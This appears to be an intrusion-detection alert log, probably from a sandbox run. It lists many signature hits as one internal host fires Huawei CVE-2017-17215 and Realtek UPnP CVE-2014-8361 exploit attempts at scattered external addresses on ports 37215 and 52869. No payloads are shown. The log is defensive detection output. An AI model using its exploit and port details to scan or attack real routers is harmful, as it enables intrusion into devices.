Timestamp:	07/20/24-23:01:01.415907
SID:	2025132
Source Port:	57270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.69.245.123

Timestamp:	07/20/24-23:01:40.334934
SID:	2835222
Source Port:	35780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.24.223.164

Timestamp:	07/20/24-23:01:45.048479
SID:	2027339
Source Port:	56034
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 69.23.248.153

Timestamp:	07/20/24-23:01:42.588824
SID:	2025132
Source Port:	37778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.172.92

Timestamp:	07/20/24-23:00:59.158278
SID:	2829579
Source Port:	33262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 186.54.113.175

Timestamp:	07/20/24-23:01:32.028836
SID:	2829579
Source Port:	45492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.53.123.92

Timestamp:	07/20/24-23:01:08.677189
SID:	2027339
Source Port:	59056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.4.44.94

Timestamp:	07/20/24-23:01:12.806235
SID:	2831300
Source Port:	40150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.90.91.204

Timestamp:	07/20/24-23:01:31.318206
SID:	2831300
Source Port:	59666
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.170.78.160

Timestamp:	07/20/24-23:01:42.651912
SID:	2027339
Source Port:	47200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.130.194.51

Timestamp:	07/20/24-23:02:07.552669
SID:	2025132
Source Port:	54260
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.72.210.150

Timestamp:	07/20/24-23:01:43.751196
SID:	2831300
Source Port:	47178
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.55.136.220

Timestamp:	07/20/24-23:01:48.433265
SID:	2025132
Source Port:	55244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 95.200.159.137

Timestamp:	07/20/24-23:01:48.958887
SID:	2831300
Source Port:	36624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.32.23.40

Timestamp:	07/20/24-23:02:10.141900
SID:	2831300
Source Port:	48662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.182.174.70

Timestamp:	07/20/24-23:01:42.290838
SID:	2025132
Source Port:	37510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.65.114.30

Timestamp:	07/20/24-23:01:45.458332
SID:	2025132
Source Port:	35490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.135.187.127

Timestamp:	07/20/24-23:02:04.942554
SID:	2027339
Source Port:	38780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.15.162.89

Timestamp:	07/20/24-23:01:42.653654
SID:	2025132
Source Port:	60364
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.153.21

Timestamp:	07/20/24-23:01:31.975513
SID:	2835222
Source Port:	40206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.100.49.199

Timestamp:	07/20/24-23:01:58.961047
SID:	2025132
Source Port:	55118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.5.70.201

Timestamp:	07/20/24-23:01:42.508021
SID:	2831300
Source Port:	50758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.211.164

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	57304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.135.155.164

Timestamp:	07/20/24-23:01:46.512162
SID:	2025132
Source Port:	48972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.66.153.204

Timestamp:	07/20/24-23:01:31.975107
SID:	2835222
Source Port:	50162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.151.187.19

Timestamp:	07/20/24-23:01:42.571884
SID:	2025132
Source Port:	60498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.86.15.141

Timestamp:	07/20/24-23:01:52.019773
SID:	2027339
Source Port:	47734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.225.111.147

Timestamp:	07/20/24-23:01:48.811098
SID:	2831300
Source Port:	38390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 44.107.36.53

Timestamp:	07/20/24-23:01:07.036064
SID:	2835222
Source Port:	45644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.15.33.52

Timestamp:	07/20/24-23:01:42.656962
SID:	2027339
Source Port:	42998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.122.121.121

Timestamp:	07/20/24-23:01:55.572517
SID:	2831300
Source Port:	41196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.59.179

Timestamp:	07/20/24-23:00:59.168569
SID:	2829579
Source Port:	57488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.27.106.147

Timestamp:	07/20/24-23:01:34.071062
SID:	2829579
Source Port:	55056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.208.124.228

Timestamp:	07/20/24-23:01:03.416441
SID:	2025132
Source Port:	48310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.27.196.68

Timestamp:	07/20/24-23:01:47.663629
SID:	2027339
Source Port:	52128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.180.197.99

Timestamp:	07/20/24-23:01:42.452119
SID:	2027339
Source Port:	40286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.62.106.68

Timestamp:	07/20/24-23:02:00.198960
SID:	2831300
Source Port:	51080
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.158.142.52

Timestamp:	07/20/24-23:01:47.891992
SID:	2027339
Source Port:	56782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.129.190.37

Timestamp:	07/20/24-23:01:07.062666
SID:	2829579
Source Port:	38446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.111.169.67

Timestamp:	07/20/24-23:01:10.684338
SID:	2025132
Source Port:	54702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:45.407049
SID:	2027339
Source Port:	35450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.203.170.191

Timestamp:	07/20/24-23:01:43.260197
SID:	2025132
Source Port:	37826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 23.8.251.245

Timestamp:	07/20/24-23:01:52.838688
SID:	2831300
Source Port:	52806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.178.208

Timestamp:	07/20/24-23:01:07.114267
SID:	2829579
Source Port:	55126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.140.237.44

Timestamp:	07/20/24-23:01:27.725851
SID:	2835222
Source Port:	40854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:49.469876
SID:	2027339
Source Port:	49768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.186.28.39

Timestamp:	07/20/24-23:01:42.178390
SID:	2027339
Source Port:	42248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.179.67.131

Timestamp:	07/20/24-23:01:52.089079
SID:	2025132
Source Port:	59652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 17.116.47.253

Timestamp:	07/20/24-23:01:53.308763
SID:	2831300
Source Port:	52562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.178.1

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	44728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.221.100.187

Timestamp:	07/20/24-23:01:08.571946
SID:	2027339
Source Port:	56214
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 182.62.146.57

Timestamp:	07/20/24-23:01:48.160375
SID:	2025132
Source Port:	38964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.88.135.139

Timestamp:	07/20/24-23:02:09.627181
SID:	2025132
Source Port:	43442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.55.135

Timestamp:	07/20/24-23:00:57.220685
SID:	2835222
Source Port:	36734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.3.106

Timestamp:	07/20/24-23:01:27.650243
SID:	2835222
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.195.50.112

Timestamp:	07/20/24-23:01:52.934726
SID:	2027339
Source Port:	39634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.116.9.186

Timestamp:	07/20/24-23:01:41.360712
SID:	2027339
Source Port:	55964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.119.125

Timestamp:	07/20/24-23:01:14.013039
SID:	2835222
Source Port:	46716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.253.103.224

Timestamp:	07/20/24-23:01:02.119631
SID:	2829579
Source Port:	47984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 114.205.87.78

Timestamp:	07/20/24-23:01:20.150638
SID:	2829579
Source Port:	56188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.71.121.153

Timestamp:	07/20/24-23:01:46.891763
SID:	2027339
Source Port:	43436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.216.216.160

Timestamp:	07/20/24-23:01:45.472422
SID:	2831300
Source Port:	49628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.75.90.116

Timestamp:	07/20/24-23:01:41.474540
SID:	2027339
Source Port:	44732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.97.71.90

Timestamp:	07/20/24-23:01:42.758954
SID:	2831300
Source Port:	59620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.106.184.126

Timestamp:	07/20/24-23:01:08.684499
SID:	2027339
Source Port:	42886
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.215.7.68

Timestamp:	07/20/24-23:01:43.415157
SID:	2831300
Source Port:	53276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.125.30.210

Timestamp:	07/20/24-23:01:42.602712
SID:	2027339
Source Port:	53166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.213.41.33

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	49432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.225.124.226

Timestamp:	07/20/24-23:02:01.280564
SID:	2027339
Source Port:	46594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 146.167.250.116

Timestamp:	07/20/24-23:01:43.066571
SID:	2831300
Source Port:	46598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.40.97

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	48814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.35.135.206

Timestamp:	07/20/24-23:01:52.487978
SID:	2027339
Source Port:	52836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.227.232.160

Timestamp:	07/20/24-23:02:10.589521
SID:	2027339
Source Port:	40326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.74.212.139

Timestamp:	07/20/24-23:01:21.928521
SID:	2835222
Source Port:	47998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.239.61.12

Timestamp:	07/20/24-23:01:08.565561
SID:	2831300
Source Port:	51710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.17.223.92

Timestamp:	07/20/24-23:01:42.912947
SID:	2027339
Source Port:	34838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.6.48

Timestamp:	07/20/24-23:01:00.639011
SID:	2835222
Source Port:	37970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 4.72.134.93

Timestamp:	07/20/24-23:01:03.120339
SID:	2025132
Source Port:	59050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.122.87.133

Timestamp:	07/20/24-23:01:52.286078
SID:	2025132
Source Port:	55492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.201.154.131

Timestamp:	07/20/24-23:01:41.967549
SID:	2027339
Source Port:	44984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.64.10.170

Timestamp:	07/20/24-23:01:43.365017
SID:	2027339
Source Port:	51488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.60.122.132

Timestamp:	07/20/24-23:01:27.650871
SID:	2835222
Source Port:	49532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.50.198.124

Timestamp:	07/20/24-23:01:21.951975
SID:	2835222
Source Port:	53174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.173.151

Timestamp:	07/20/24-23:00:57.221624
SID:	2835222
Source Port:	56366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.208.25.112

Timestamp:	07/20/24-23:01:45.165718
SID:	2831300
Source Port:	36230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.16.1.141

Timestamp:	07/20/24-23:01:11.635828
SID:	2835222
Source Port:	56278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.240.255.134

Timestamp:	07/20/24-23:00:57.221273
SID:	2835222
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.131.47.204

Timestamp:	07/20/24-23:01:48.888934
SID:	2027339
Source Port:	47644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.194.118.37

Timestamp:	07/20/24-23:01:04.766644
SID:	2027339
Source Port:	57512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:46.725077
SID:	2027339
Source Port:	33474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.24.67.79

Timestamp:	07/20/24-23:02:00.062043
SID:	2025132
Source Port:	52772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.27.196.147

Timestamp:	07/20/24-23:01:42.580745
SID:	2831300
Source Port:	36440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.165.214.181

Timestamp:	07/20/24-23:01:52.053251
SID:	2027339
Source Port:	37770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.201.119.160

Timestamp:	07/20/24-23:01:41.513792
SID:	2027339
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 69.74.218.35

Timestamp:	07/20/24-23:00:57.222164
SID:	2829579
Source Port:	36788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.237.192.205

Timestamp:	07/20/24-23:02:17.110283
SID:	2027339
Source Port:	43866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.75.190.2

Timestamp:	07/20/24-23:01:52.038833
SID:	2027339
Source Port:	46014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.139.237.174

Timestamp:	07/20/24-23:01:58.055688
SID:	2025132
Source Port:	33598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.233.112.21

Timestamp:	07/20/24-23:01:42.769239
SID:	2027339
Source Port:	32774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.221.172.161

Timestamp:	07/20/24-23:01:45.511523
SID:	2831300
Source Port:	37662
